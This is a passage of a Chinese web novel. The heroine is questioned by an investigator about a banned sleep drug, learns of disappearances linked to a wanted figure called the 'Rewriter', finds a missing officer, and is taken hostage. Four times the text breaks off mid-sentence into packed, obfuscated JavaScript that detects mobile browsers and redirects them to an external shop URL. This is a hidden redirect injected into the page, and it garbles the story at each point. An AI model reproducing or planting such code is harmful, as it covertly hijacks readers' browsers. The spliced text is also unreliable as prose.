宴希鸣难以掩饰心中的震惊:“我很遗憾,我竟然能给你带来这种感受?” 蕾拉说:“阻止了一个差点陷入不归路的普通人,也算是我日行一善吧,跟我走,不能就这么放你走了!” 如果她的配合能让这位年轻的调查官感觉好点的话,宴希鸣也不是那么抗拒了,如果能把自己手上的手铐解开,那就更好了。 接着他们两人就坐着渔夫的船往洞口外划去。出去的洞口在另外一侧,比进来的狭小入口要宽敞的多,都不需要躺下了,只需要半蹲着就可以,越靠近洞口空气的对流愈加明显了起来,宴希鸣裹紧了领口。 再过了约莫五分钟,两个人从船上跳下来,顺着台阶爬到礁石悬崖的上方,这次的洞穴之旅就算是彻底结束了。 他们两人路过岸边由防水油布搭建的五颜六色的小摊前时,看到了这里熙熙攘攘的人群,这时正是渡城生蚝的旺季,商贩们用刀背在牡蛎壳上一撬,牡蛎肉就敞了出来,沸沸扬扬的喧闹声一时塞满了耳边,宴希鸣感兴趣地往那边打量了好几眼。 警戒所就在离集市不远的地方,外围用铁栅栏围城一圈,里面则是四层楼高的黑色平房,一个门口的守卫正背着枪低头抽烟,见到蕾拉走来立刻将烟蒂熄灭,顺势将铁门打开了。 一楼内部的大堂有身着警服的人要么在窗前奋笔疾书,要么在大声打着电话,只有几个人好奇地瞧了宴希鸣一眼,剩下的人根本无暇顾及她。 宴希鸣第一次来这种地方,避开了他们的视线,将目光放到了更远处,每个人的桌上都很凌乱,厚厚的资料堆得比桌子的围挡还高。 而最里面靠墙的四角桌位,每个人的桌上都几乎没有什么东西,电脑和椅子都处在一种歇业状态,规整的十分不合群。 “里面的座位……”宴希鸣沉思着,突然开口。 “里面的座位怎么了?”蕾拉立刻呛声道。 “要么强迫症,要么根本不上班。” 话音刚落,蕾拉就领着她径直坐到了最内侧的座位上,冷视着她。 “哈哈,我什么也没说。”宴希鸣也冷笑了两声,身体却不由地挺直了起来:“你到底要找我做什么?” “我问你,今天你到底干什么去的?” 宴希鸣心想,我说我是去看海的话,你也不相信啊。于是她诚实地说道:“我就是对沉睡剂好奇,听有人说那里有卖,我好几个晚上睡不着了,所以想拿来看看。” “好奇?那东西是你能好奇的吗?你真把它当安眠药用啊?” “啊,那我知道错了。” “……你对沉睡剂知道多少?” “听说,使用沉睡剂能让人梦到美好的事情,类似于做个好梦的安眠药,但是是一种违禁品,不允许公开售卖……” “为什么你看起来挺聪明的,实际上有点蠢到家了。”蕾拉拿起水杯喝了一口水,又重重地放在桌上:“少好奇一些不该你好奇的,被禁止当然是有原因的,不然赦令大楼禁着玩啊?” 宴希鸣被矮自己一头的人训斥,脸上保持着僵硬而不失礼貌的微笑:“当然,再也不会了。需要我写个保证书什么的吗?” “哎,不知道为什么,看到你就有点心烦。你把你的蓝环给我,我核对下你的信息。” 蓝环? 宴希鸣低头看向自己手中的白色透明手环。 这是那个人交给自己的,如传达的那样,里面有一笔钱,但也没有很多,足够半年的正常花销,也就是一万五伽元。 蓝环的作用主要有三个,一是身份认证,二是电子支付,三是通讯,然而并不是每个公民都有这个设备。因为高昂的购买和维护费用,很多人是用不起的,尤其是那些贫民窟的人,更是想都不要想,之前他们甚至都不知道蓝环是什么,知道贵族战争结束后,蓝环也慢慢推广,因此现在很多地方也都只能使用纸质伽元进行支付,而有些受到限制的场所,比如首都的中心区都需要持有蓝环的人进行身份核验才可以进入,而那些没有蓝环的人自然是进不去了。 那个人虽然是把蓝环给了她,但自己并不知道这个设备被做过什么手脚,个人信息页只能看到公民编号和姓名,万一被查出什么的话……后果不堪设想。 蕾拉看到她犹豫了很久没说话,疑惑地挑眉:“你愣着干什么?” “……我被拷着怎么解?” “……”蕾拉低头在她蓝环内侧左划了一下,蓝环就像手链一样从中间断开,电子纹路也随之漫开,变成了一个矩形的蓝色薄片。 蕾拉将薄片贴在一个盒子一般大小的仪器之中,登入电脑页面输入指令查询,不一会儿,一串信息就跳了出来。 “你叫宴希鸣?” “嗯。” “我看看……” 蕾拉快速下划着页面,宴希鸣也不知道她在看什么,目光很是专注,为了缓解自己的紧张,她也转移开视线,反正现在发生什么都已经不是自己左右得了的了。 她将头转向一侧,只看后面的墙壁上,一半是通缉令,一半是失踪告示。 渡城的治安竟然可以如此混乱。 宴希鸣离那一墙的灰褐色再生纸更近了一些,上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407380|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的字体大得十分粗暴,更令人无法移开视线的是右下角那个特殊的纹章。 是白金塔楼的图案,象征着它背后的国家机器——赦令大楼。 今日消息,请渡城市民保持高度警惕。 过去五天,本市已新增十余起失踪案,失联者均为独居或街头流浪人员。(涉及五名青年女性、四名青年男性和四名老年男性,还有流浪者若干),请密切留意此类信息,有线索请联系渡城警所,维护社会治安,人人有责…… 此时,从窗外吹来一阵冷风,顺着衣领灌入了她的脖子,也将桌上散开的资料吹的哗哗作响。 风簌簌地吹起那页纸,红色的字连带着塔楼的标志一起在空中飘了起来,鲜艳的即将要跳到她的脸上。 宴希鸣不由地往后退了一步。 “这些人是失踪了吗?” “是啊。”蕾拉背对着她,看着电脑,从鼻腔里冷哼一声:“你知道他们为什么失踪吗?” 宴希鸣懒得搭腔:“因为沉睡剂。” “那你可真是答对了一半儿。” 而剩下的一半是? 宴希鸣朝着另一边,通缉栏的地方看去。 一则通缉令则是显眼地吸引了她的目光。 一种蓝紫色的花,画成了一只小鸟的形状,它的尾巴尖尖的向上抱环勾着,还有两个萼片形成的翅膀,不知道是哪个大艺术家亲笔设计的。白金塔楼的形状被一个字母S取代,证明以这个作为标志的罪犯是多么危险…… 是什么样的罪犯,让人在通缉他的时候还在瞻前顾后,连信息都不愿意多透露出一点呢? 宴希鸣的心中隐隐有些不祥的预感,那种心悸的感觉又像反胃一样冲上来了。 呼吸,呼吸,一则告示而已。 她缓缓地呼了一口气,正准备将它吐出,蕾拉的一声疑问差点让她气绝而亡。 “咦,宴希鸣,你这个流水记录,很奇怪啊,你真的确定,这是你本人的吗?” 宴希鸣转过头,只见蕾拉早就已经转过身来,看着她的一举一动,脸上的两个眼睛就像探照灯一样把她的脸照的苍白,双手抱胸,一副我已经洞悉了一切的样子。 宴希鸣直视着她的脸。 闪躲在此刻毫无意义。 闪躲解决不了任何问题。 咬死不认,任何和贵族有牵扯的关系在赦令大楼面前都是危险的,她可不想在赦令大楼面前解释自己是如何被贵族关押,又是如何逃窜的,因为据她所知,赦令大楼在面对任何和贵族有关的事情上,猜疑心都是甚之又甚,尤其是对于她自己这么一个知道沉睡剂秘密的人,会不会想要从她嘴里挖掘出更多的东西呢?她不想这么做,尤其是在认为赦令大楼值得信任之前。 “不然,不是我的,难道是你的吗?有什么问题你直说就是了。” “我就随便说说,而已。你这么紧张干什么?”蕾拉的眼睛眯了眯,半晌她说道:“没想到宴希鸣你,一直以来还是有工作的啊……” “……”宴希鸣脸黑了黑,努力让自己镇定下来:“你说的这叫什么话?难道你一直以为我是无业游民?” 5. 第 5 章 “好吧,是我的错,没想到你的流水这么正常,还是B级良好市民呢,别用你这么嘲讽的眼神看着我,对于没有什么杰出贡献的普通人来说B级已经很高了,起码你没有欠债嘛。” 没想到这个量身定制出来的配套数据也这么完善,宴希鸣终于松了一口气,对蕾拉扬了扬自己的手:“既然没问题,那你总算可以给我解开了吧?” 蕾拉慢吞吞地从抽屉里拿出了钥匙,低头解开宴希鸣身上的手铐。 在她俯身的那一刻,宴希鸣的目光再次投向了公示栏上的通缉令,纸面上的文字映入眼底,连带着她的眼神刹那间也变得阴郁。 和沉睡剂有关的失踪案吗? 即便蕾拉闪烁其词,但是她依然产生了一些想法,仅仅是灵光一闪,就在迷蒙的揣测中照亮了眼前的一处。 “蕾拉,你说近期失踪的都是社会边缘人士对吗?” 蕾拉从喉咙间挤出一声低低的回应,但也没有按照她的期待继续往下透露出任何气息,只是说:“那又怎样?别以为你就不在危险范畴内了,这可是无差别的失踪事件。” 无差别…… 宴希鸣心想,他们倒也不是都是无差别,有一个共同的符合条件,那就是他们的社会联系都很弱。 此外年龄的范围很广,说明群体不是特定的。 城市边缘群体,意思也就大概率和金钱无关,所以综合下来看,反倒是…… 反倒像是为了形成个实验的样本组。 她心中一惊,寒意从指间往心脏的方向窜去,外面的阳光从窗棂中斜照在她的手臂上,却是一点温度也没有了。 那群人还真是一如既往地目空一切,即使肉身已经离开,但是遮蔽下的阴霾却无孔不入地往每个城市的角落钻,腐蚀一切。 好在蕾拉并没有注意到宴希鸣瞬间凝滞的神情,只是取出蓝环交给她:“你可以走了。但是,但是,留意你接下来的行程。” “这是什么意思?” “你已经被标记为观察期,一个月内如果你有任何违反治安法的行为发生,将以适用于该量级处罚的最严厉等级执行,这是重典法案的内容,所以请务必在接下来的日子里做一个遵纪守法的好公民,否则……当然就不会像今天这样简单了。” “我知道了。”宴希鸣没有任何反应,拿着蓝环抛下一句话就头也不回地离开了警戒署。 宴希鸣离开这个让人感觉压迫又沉闷的地方后,在街上缓慢地朝家的方向走去,依然心事重重地想着自己刚才的判断,无比希望自己刚才的思路是错的。 也许,只是简单的失踪事件呢? 没有方向,没有线索,简单地归咎为贵族的行为似乎也不太合适,但是这太像是他们会干出的事情了。 此时连一个商量的事的人都没有,真是可恶。 想到这里,她的脑中又发现出了幽蓝洞穴中那抹黑色的身影,还有那一缕茶棕色的头发……全身上下唯一有辨识度的东西,见鬼。 他可能是有什么不得已的原因,也许是有什么苦衷。 宴希鸣双手插在兜里,步伐顿了顿,在自己都没有注意到的时候发出了第一声冷笑,真是对不起,我已经努力在为你找借口了! 虽然自己已经放弃了寻找“那个人”的想法,啊,现在只能管他叫那个人了,真是的,这个人到底在干嘛,露了一面连说话的时间都没有,难不成是在被全球追杀吗?! 宴希鸣随意地踹了路边的小石子一脚,然后鞋带就在这一脚中松开了。 于是她就只好蹲下来系鞋带。 没有方向的生活……好累啊。 她微微仰起头,却无意间中用余光瞥见了墙角有一个被人刻出来的东西。 她蹲着往那个方向挪动了两三步。 “这是……什么?” 只见墙根上,被人用石头歪歪扭扭地刻出了一个符号。 一只尾尖朝上的小鸟,以及……花瓣一样的翅膀。 好丑,但是还是能看的出来这是什么。怎么能够看不出来呢?自己半小时之前不是还见过这些东西吗! 贴在墙上的,显眼的通缉拦,符号,S级罪犯…… 一切都像是重叠的镜头,堆积在了一起。 “不,先等等,我要先查询下……” 宴希鸣打开蓝环,想输入关键词检索,却发现一个字也想不出来,难不成要输入长得像鸟的花吗! “……“宴希鸣盯着手中的蓝环,口中喃喃道:”长得像鸟的花?好像确实是有这么个东西,好熟悉啊,让我想想是在哪里见到过?先想想看这种花叫什么……紫色的,翠雀花,对,是这个,但是这不是国家之前的国花吗!” 她点进检索页,发现搜查出来的东西别无二致。 的确和她回忆的一致,翠雀花曾经是科洛国的国花,在贵族作为影子政府时期被弃用,后来就很少有人提起了。 宴希鸣又加入了“罪犯“作为关键词,但是检索的结果居然是0。她又换了几种组合,但依然没有任何东西跳出来。 “算了,不管了,这种事情,还是跟赦令大楼的人说一声吧。” 宴希鸣一下子就站起身,转身朝来的方向跑去。 等她折返回警戒署的时候,放眼望去,蕾拉的桌子前正坐着一个烫着波浪头的女人,两个人正在笑意盈盈地说些什么。 “我一走就谈笑风生?看我来给你找点事做。” 宴希鸣腹诽道,走到他们面前,请了请嗓子。 但是那个背对着她的女人反而快人一步地转过身来:“哎呀,蕾拉,有个年轻妹妹找你呢。” 女人有着海藻般的长卷发,语气中慵懒夹笑,微微挑起猫眼斜着朝她看去。 但她的说话干脆利落,浑身上下无不散发着独署于赦令大楼的锐利之感。 “宴希鸣,你又回来干嘛?” 宴希鸣冷眼看着面前的女人,以同样打量的方式回敬般地看着她。 “你俩为什么在我这你看我我看你,莫非你们有什么特殊的关系?” “什么?没有。”宴希鸣收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407381|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回目光:“我在街上看到了你们通缉的东西。” 女人没有说话,眨动眼睫的时候颇有些看好戏的意味。 宴希鸣径直走到墙上的通缉令前,找到那独特的一张,用手指着那张纸说:“我在离这500米的墙角处发现有人用石头刻了这个符号,你们不是在通缉带着这个符号的人吗?” 出乎意料的,蕾拉并没有什么太多的反应,只是叹了一口气。宴希鸣正疑惑时,就看到那个漂亮女人接过话,身子完全转了过来,歪了歪头:“这个东西最近的街上太多了,我们已经管不过来了,劳驾你,下次看到的时候帮我们找个石头磨掉,不然造成不良的影响还是不好,拜托拜托。” 宴希鸣一头雾水:“什么影响?” “瞧你这样子,看来你不知道这个符号是什么?” 女人笑了:“这个符号无关紧要,我们是在通缉这个符号背后的罪犯啊。红极一时的改写师,你知道沉睡剂,却不知道改写师,这真是奇怪。” “我说过,我对沉睡剂也不是很了解。”宴希鸣面不改色地说道。 “好嘛,那你只需要记得,离所有带有那个图案的人都远点。别看着它可爱就放松警惕啊。” 宴希鸣的目光低沉下来,不依不饶地问道:“你们说的改写师是什么人?” 蕾拉也转身看向宴希鸣:“当然是一个臭名昭著的罪犯,使用沉睡剂的副作用是不可逆的,但是他声称能将这一切改写,但是结果却并不总是成功。他四处作案,对象就是那些使用沉睡剂导致副作用的人,在他手中的确有的人治好了,但是有的人却以更惨的方式死去。他就这样利用猎奇的心理引发更多人的关注,说来可笑,当一个人对其他人的性命手拿把掐的时候,一些人对他的看法不是恐惧,然而转变成了一种奇怪的崇拜,最终转化成他的信徒……让这样的人渣苟存于世,是赦令大楼的失责。因此他可是我师傅的重点关注对象,被抓到肯定一刀刀剁成碎片喂鱼的那种,哦不,喂鱼都污染环境了,影响生态链。” “你说的治好了……是什么意思?” 蕾拉没说话了,眼神又变得十分危险:“我能说的就到这里,难道你没有从我的语气中听出这是一个很危险的人物吗?当你看到符号,就更应该提高警惕了!因为在我们的调查中,不日他就将前来渡城,因为几日前他曾在周边城市出没,你看到街头巷尾的石刻符号,那都是他的信徒来欢迎他的到来……” 蕾拉的话让她不寒而栗,听出了事情的严重性,她也不敢多问。另一旁,蕾拉的声音还在絮絮叨叨的:“他们标志的那种花,叫翠雀花,花语是公平、正义,拿这样含义的花作为自己犯罪的标志,是故意在恶心谁也是不言而喻了。总之,你如果是一个人居住的话,可多长点心吧,实话告诉你也无妨,我们是首都的人,来到渡城就是为了调查这个失踪案。” 宴希鸣有些震惊:“这个失踪案已经这么严重了吗?” 蕾拉沉默了片刻后说道:“我们的第一个同事,就在渡城调查的过程中失踪了,生死不明。” 6. 第 6 章 当把前后两件事关联在一起的时候,宴希鸣隐约觉察到了不对劲的地方:“所以这个失踪事件和你们口中的改写师有关,是他策划的?可是从时间上来看,他们消失的时候,改写师并不在渡城啊。” 蕾拉摇了摇头:“对啊,我也没有一锤定音说是他干的,也不知道他神出鬼没的是想干什么,但是失踪一定和沉睡剂有关,有目击者都证实过那些失踪的人都是沉睡剂的购买者,包括我们的同事也是在……哎,这个就不跟你说了,你自己小心就好了,下班就直接回家,不要到处乱走,最近的渡城很不安全。” “好吧,我知道了。” 宴希鸣了解完大致情况后,正准备离开,蕾拉却叫住了她:“等等!” 宴希鸣疑惑地转身,此时蕾拉才注意到她的眼睛在窗外阳光的折射下,流转出如同静谧湖泊般的深蓝,但只是微微偏头侧过一个微妙的角度,就转瞬被更加漆黑深邃的无星月夜吞噬,看起来和常人没有区别。 “你的眼睛,是蓝色的?” 宴希鸣下意识地伸手摸了摸自己的眼睛,抬手到眼眶的地方就放下了:“是吗,好像在太阳底下是有点不一样的颜色,遗传自我的父亲。” 蕾拉伸手将自己的蓝环和她贴在一起,两个手环碰撞在一起,双方的面前都跳出了一个巴掌大的蓝色矩形光屏。 您是否愿意添加对方为通讯录联系人? 同意/拒绝/屏蔽 宴希鸣说:“我不加陌生人。” 蕾拉气急败坏道:“哈,什么,你难道觉得我很想加你吗?我只是觉得你这个人有种容易把自己折腾死的好奇心,先加上你,你快嗝屁之前还可以通知我一声。” 宴希鸣没说什么,指尖在屏幕上点了同意:“好了。” “快走吧,快走吧,没事不要找我。” 就这样,宴希鸣继续过上了自己的平静生活,但是在维持了不到二十四小时后,这种平静很快就被打破了。 第二天是一个工作日,而工作日的早上,按照计划执行自然应该在工作,这就是一句废话,因为在过去的每一天都是这么按部就班的度过的。 每日的工作流程就差不多是这样——将鱼肉搅碎和肥肉放在一起,放入调料后加入淀粉继续搅拌,捏成一整块,煎到两面焦黄,再继续焖煮。有客人的时候收钱,没客人的时候看店。 感谢鱼类们牺牲自己为她贡献的工作,她来渡城不久就给自己找到了这份做鱼饼的活,刚好店里缺人手,老板人也很好说话。 宴希鸣正在低头搅拌自己碗里的鱼肉,直到这一团东西变得无比粘稠,手酸的再也都动不了,她停下来喘了口气。 老板把解冻好的肥肉递给她,看了她碗里一眼:“你这搞得太干了,加点水。” 宴希鸣照做,然后无意问道:“老板,你知道最近渡城有什么失踪事件吗?” “什么,失踪吗,偶尔失踪几个人很正常吧,帮派打架啊,或者流浪汉斗殴啊,或者是喝酒失足摔河里了啊,这种事不是经常发生吗?” “啊,哈哈,是吗……” “活着就是意外太多了,这些人往往又是原本生活就很艰难的人,生活一艰难就容易坏事缠身,麻绳专挑细处断,厄运专找那苦命的人呐!” 宴希鸣没有说话,老板继续说:“虽然我也很同情这些人,但是人太多了,我同情不过来!而且有些人啊,自己的生活不好好经营,老等着别人帮助,等着别人救济,这怎么能行呢?所以啊,咱们店虽然经常把没卖掉的鱼饼给那些街头的可怜人,但是对那些有手有脚不愿意干活就来要饭的人,我是一点也同情不起来。” 宴希鸣低头继续工作,嗯了一声。 老板突然也停下手里的活,悄声对宴希鸣说道:“你看那个小伙子,我注意他很久了,他也不去工作,就一直在这街头坐着,哎,看起来还像个体面人,等会要是他来要饭,你千万别给他。” 宴希鸣也朝他努嘴的方向看过去,他们店的街对面,有一个大约三十岁左右的男人正低着头瘫坐在地上,头发邋里邋遢地翻的不成样子,背上的脊椎仿佛被人抽走了,因此整个头都垂在空中,一只手扶着头,有些头疼欲裂的样子。 “可能喝假酒了,这种人多了去了,你甭搭理他,装作没看到。” 宴希鸣点点头,垂下眼帘。 那个人就保持这样的姿势坐了三个小时,一直到了中午,他脚下的影子在太阳的直射下也和它的主人一样蜷缩成了一团。 “老板,这个人很奇怪啊,应该不是要饭的。” 老板正在低头吃饭,听到这句话,也疑惑地看了一眼:“中暑了?” “马上深秋了老板,应该不能中暑吧。” “那你过会去倒垃圾的时候,踹他一脚看看有事没事。” “……那下一秒我被打怎么办。” “那你再带一块鱼饼过去,作为保险措施,在他马上要发火的时候塞他手里,就说看他可怜,请他吃。” “呵呵。” 宴希鸣采纳了这个损招的大部分框架,先是把早上的厨余垃圾扔到垃圾堆放点,再拎着手里用塑料袋装着的一袋鱼饼,谨慎地朝他靠近。 越是靠近,她越是不敢接触了,万一她一过去,这个人直接倒下了怎么办。 她加重了脚步,发出一点动静,但是那个男人头也没抬。 “好吧,好吧。” 宴希鸣抬起头,把手中的鱼饼抡了抡,扔在了他的身上! 鱼饼打在他的衣服上,过了好一会,那个人才缓缓地动了,他好像很冷的哆嗦了一下,才迷茫的抬起头。 宴希鸣这才注意到他的眼睛里都是红血丝,像是三天三夜都没睡着了,自己被吓了一跳,语气也有些不自然:“你,你没事吧?” 那个人摇了摇头,但就是这么轻微的动作好像也让他感到十分难受似的。 “那……那个是可以吃的鱼饼,你要是饿了可以吃。”宴希鸣观察着他的状态,看起来也不像是有事的样子,所以说完她就想走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407382|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……”男人的声音气弱游丝,虚弱地抬头对她说道:“你等一下……” 宴希鸣停下脚步,等着他下一步发言。 “请问你知道……赦令大楼总部的联系方式吗?” 宴希鸣愣住了:“这……我给你查一下,官网上应该有联系方式。” 男人摇了摇头,又垂下头去,一只手捂着自己后脑勺的地方:“算了。” “……” 宴希鸣叹了一口气:“那是要怎么样啊,难道要我给你摇人吗?我哪有这么大能耐啊,你找赦令大楼总部做什么?” 男人回答道:“我好像认识那边的人,我现在的脑子好像想不了事情,一回忆起来就好疼……也许联系上他们,我就知道是怎么回事了。” “可是他们总部不是在首都吗,这里是渡城,离首都还有十万八千里……” 咦,说到这里,她不久刚好“认识”一个来自赦令大楼总部的人吗? 宴希鸣立刻点开蓝环的通讯界面,在跳出来的联系人中,有且只有蕾拉一个人的名字,她立刻就拨通了对方的号码。 “对方系统忙碌,请稍后重试。” “唉。”宴希鸣关闭界面,对地上的男人说:“我倒是认识一个人,不过不知道帮不帮得上你的忙,她就在渡城的警戒所,如果你还能走动的话,我可以带你过去。如果……” 宴希鸣正想说,如果你动不了了,我就继续试着联系。但是她还没说完,那个男的就像抓住机会一样点了两下头,硬着撑着地面作为支点,缓缓站了起来。 宴希鸣这下感觉他的意志确实很惊人,他摆摆手示意不需要宴希鸣搀扶,在原地缓了好一会。 “你一个人,是怎么到街上来的?” “我不记得了。”男人犹豫了好一会,才吐出两个字:“有车。” 车,难道是直接被人从车上抛下来的? 宴希鸣立刻警觉地从上到下打量了他一番:“那你感觉你身上的器官都还在吗?有没有哪里感觉被挖空了?” 男人与她对视了一眼:“我好像感觉不出来。” “好吧,等你见了他们,去检查一下。” 男人摇摇晃晃地跟在宴希鸣身后走着,由于走的太慢,最后终于同意宴希鸣拽住他的胳膊把他往前拉,宴希鸣拖行了一段后,忍无可忍道:“大哥,你实在是太重了,你在此处不要走动,我给你找个驴子吧,不行的话,你就再等我打个电话。” 于是她一把松开男人,男人就顺势靠在了墙边上,很是艰难地喘了口气。 宴希鸣继续拨通蕾拉的号码,这会在“等待连接”过去了三秒后,就被接通了。 蕾拉的脸就出现在屏幕上,由于连接实在是很卡,所以脸直接定格住了,只有声音传出。 “喂喂,我很忙,有事快说。” 宴希鸣看了一眼墙边的男人,说:“我在路边捡了一个大概三十岁的男人,他说他好像认识赦令大楼总部的人,看起来情况不是太好,你要不要过来看看他?” 7. 第 7 章 蕾拉说:“情况不好你找我,我也只能叫个医生过去啊,算了,医疗组很紧缺,我就走一趟。” 宴希鸣看了一眼旁边拉下来的店铺卷帘门:“我在栗子街108号店门旁边,你快来,我感觉这个人可能是器官被切除了。” 过了一会,一辆风驰电掣的摩托就风风火火地携来一股强劲的风,稳当当地停在了宴希鸣身边。 蕾拉摘下头盔,问:“你说的人呢?” 宴希鸣连忙把躲在墙角的男人拉出来:“就是他。” 男人乱糟糟的头发仰起,眼睛眯成了一条缝,几乎就在他抬起眼帘的一瞬间,蕾拉的脸上就露出了之前从未见过的震惊表情:“你……你怎么变成了这个样子?” “你们认识?” 男人依旧是捂着自己的头:“不好意思,我现在的记忆很模糊,只能大概想起来一点东西,但是你的脸我很熟悉……” “废话!”蕾拉打断他的话,将他的手臂拉下来,急切的目光在他的脸上一寸寸端详:“我是蕾拉啊!执行组的蕾拉,我们这几天都在找你,你去哪里了,柏西?” 宴希鸣也很震惊地立刻转头看着柏西:“难不成,他就是你们说的那个失踪同事?” “是他……我们在渡城的这一个星期都在找他,你是在哪里发现的?” “就在栗子街,离我工作地点不远的街角,他一个人在那里坐了一个上午。”宴希鸣回忆着柏西的状态,欲言又止:“你说他该不会是伤到脑子了吧。” “柏西,你先跟我回去,有什么事我们再慢慢说。” 柏西点了点头。 而此时,蕾拉的目光却在宴希鸣的身后顿住! 她的身后是一个黑色人影。 那个人站的很远,但是她没有看错,是一个穿着黑色宽松外套的男人,帽檐将自己拉的严严实实,连同帽檐底下也是一片黑色的虚无,看起来是戴了头套。 即使看不清他的脸,他带着黑色手套自然松垮垂落的双手,和悠闲的站姿通通出卖了他此刻的心情,仿佛能看到面具后他的表情是怎样带着笑意的嘲弄。 他旁观的姿势抒发着始作俑者的叹息和嘲讽,见到蕾拉在看自己,伸出左手拉低了自己的帽檐。 “……别跑!!” 蕾拉一瞬间就朝那个人愤怒地大喊,朝一支离弦之箭弹射了出去! 那道黑色的影子也如同一个鬼魅的虚影,快速闪进了小巷。 宴希鸣和柏西都还没看清发生了什么,蕾拉就已经扔下他们,朝那个人追出很远。 小巷十分狭窄,蕾拉没有办法骑她的摩托,只能徒步追赶,一眨眼就不见了。宴希鸣搞不清发生了什么,对柏西说:“你在这里不要动啊,有赦令大楼的人在,你会没事的。” 说这话的时候,宴希鸣已经完全忘记他也是赦令大楼的人了。 “那你要去哪?” “……现在的局势太复杂了,我还没跟老板请假呢,我要回去上班。”宴希鸣说:“我有预感,在这里呆着一定会有坏事发生!” “……” 柏西贴心地说道:“那你回去的时候小心点。” 宴希鸣点头嗯了一声,就朝着栗子街往回去的方向走。 在她走到巷子的某个路口时,突然迅雷不及掩耳之势,从里面横冲直撞闪出一个人! 光天化日之下,就直接一把将她的手腕抓住,往街上拖行了两步! 宴希鸣被扯的一趔趄,抬眼的时候看到面前暮色般的漆黑,寒意从脊椎攀升,整个人像是结冰似的怔住了。 这就是蕾拉要追的人吗! 几乎是下一秒蕾拉也从巷子里钻了出来,一个急刹,对着这边怒目而视。 他们俩就绕着这个巷子,从外到里,从里到外,追了一圈!? 男人的身材很消瘦,经过一番追逐,微微喘着气,反观蕾拉则是中气十足,好像一拳就能给他干倒的样子。 尽管如此,他的手却很有力,一只黑色的手套紧紧地从后环着她的肩膀往前攥住她的胳膊,宴希鸣以一种盾牌的姿势被他抵在身前,而下一秒,另一只手上一道白色的刀刃便冒着寒光抵住了她的喉咙! “我警告你!不要劫持人质,否则后果自负!” 蕾拉更加愤怒了,朝着他大喊道。 男人不为所动,对峙的过程中,两方的朝向也像湖泊上漂泊打转儿的小船,微妙地换了一个方向,变成了黑袍男子在巷子内,而蕾拉在巷子外。 身后的人一直没有说话,这种令人犯怵的场景让宴希鸣也有些心律不齐了,只能用余光微微往后一瞥,试图观察身后的人。 男人个子比她高,只是微微倾下身,阴影从后铺到她的脚边,遮天蔽日般完全拢住了她。 “你不要乱来,这个是无辜的公民。” “无辜,我当然知道啊。”男人的尾音拖得很长,欣赏着蕾拉的反应:“如果不无辜,我还没有兴趣呢。” 他用了变声器,发出的是一个大叔一般低沉雄厚的嗓子,再加上一点混响,他将自己的原声放的特别轻,几乎像耳语一样完全被变声器的声音掩盖住了,即便这样,也能感觉他可笑的语气。 “女士,请别挣扎,否则,我也不知道会发生什么。”他察觉到宴希鸣轻微的反抗,用变声器发出声音提醒道。 你都不知道那我更不知道了。宴希鸣微微扭动了一下自己的身体表示不满:“你们打你们的,抓我干嘛。” “嘘,别动,别动。” 他这么说着,目光完全没有落在蕾拉身上,好像她根本就不重要似的,反而将所有的注意都集中在手中的刀刃和宴希鸣脆弱的脖子上,像是在手术台上对兔子比划着刀,在此刻衡量精准的距离,那人没说话了。 连蕾拉都注意到,他的刀松了一点,目光微偏,凝在她的后脑勺上。 宴希鸣正疑惑着,却闻到他身上有一点淡淡的橘子味,像是来自橘皮的清甜,转瞬即逝。就是这么一点细微的线索突然唤醒了她如同阳光般温暖的回忆,但眼前的景象又很快驱散了她的错觉。 “大名鼎鼎的改写师为什么不愿意以正面目示人,是觉得自己也很见不得人吗?和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407383|200592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡城市场策划、绑架柏西,这都是你干的好事吧?” 早就猜到了这个事情,宴希鸣也没有表现得惊讶,只听身后的人又劫持自己往巷子里退去,一边退一边发问道:“如果是这样,我的目的是什么呢?” “你们知道柏西在追查LOOP001,为了阻止他,就朝他下手绑架了他,在过去,任何一个城市的市场都不敢这么明目张胆地挑衅赦令大楼,是什么让你们变得不一样了,来自贵族的支持吗?” “遗憾,你们连真正的敌人是谁都没有搞明白。” 